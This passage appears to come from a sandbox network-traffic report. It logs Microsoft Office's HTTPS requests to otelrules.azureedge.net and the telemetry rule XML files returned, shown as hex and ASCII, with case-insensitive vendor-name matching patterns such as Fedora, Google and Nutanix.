<TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.9	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:58 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:58 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: e14f358b-d01e-007a-5d7e-3ff38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215358Z-174f7845968swgbqhC1EWRmnb4000000122000000000he59 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:58 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.9	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:58 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:58 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 22106228-c01e-007a-5d36-40b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215358Z-174f7845968n2hr8hC1EWR9cag00000011ng00000000b7re x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:58 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.9	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:58 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:58 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: fe5a6e14-e01e-0071-51f2-4108e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215358Z-174f784596886s2bhC1EWR743w00000011yg00000000hpr6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:59 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.9	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:00 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:00 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 59a03737-a01e-00ab-1891-3f9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215400Z-174f7845968nxc96hC1EWRspw800000011q000000000f2m6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:00 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.9	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:00 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:00 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 261fcd2e-101e-005a-5345-40882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215400Z-174f7845968j6t2phC1EWRcfe8000000124g00000000chta x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:01 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.9	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:00 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:00 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: dcf51672-d01e-005a-5c91-3f7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215400Z-174f7845968j6t2phC1EWRcfe8000000123g00000000eb3c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:01 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.9	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:00 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:00 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 4e964251-301e-000c-42c4-42323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215400Z-174f7845968pf68xhC1EWRr4h8000000125g00000000gy98 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:01 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.9	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:00 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:01 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: e297b188-201e-0000-7a1b-41a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215401Z-174f7845968frfdmhC1EWRxxbw00000012500000000020tg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:01 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.9	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:02 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:06 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: a521520d-601e-003d-19f6-416f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215406Z-174f7845968vqt9xhC1EWRgten000000121000000000cq9k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:06 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.9	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:02 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:03 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: fcd7fe31-301e-0033-0c91-3ffa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215403Z-174f7845968kdththC1EWRzvxn0000000e9g00000000fwnf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:03 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.9	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:02 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:03 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: c5359d4f-401e-0035-67ab-4282d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215403Z-174f7845968xlwnmhC1EWR0sv800000011rg00000000kqxa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:03 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.9	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:03 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:03 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 91facc7f-401e-0064-1f3e-4054af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215403Z-174f7845968pf68xhC1EWRr4h8000000127g00000000bgvp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:03 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" 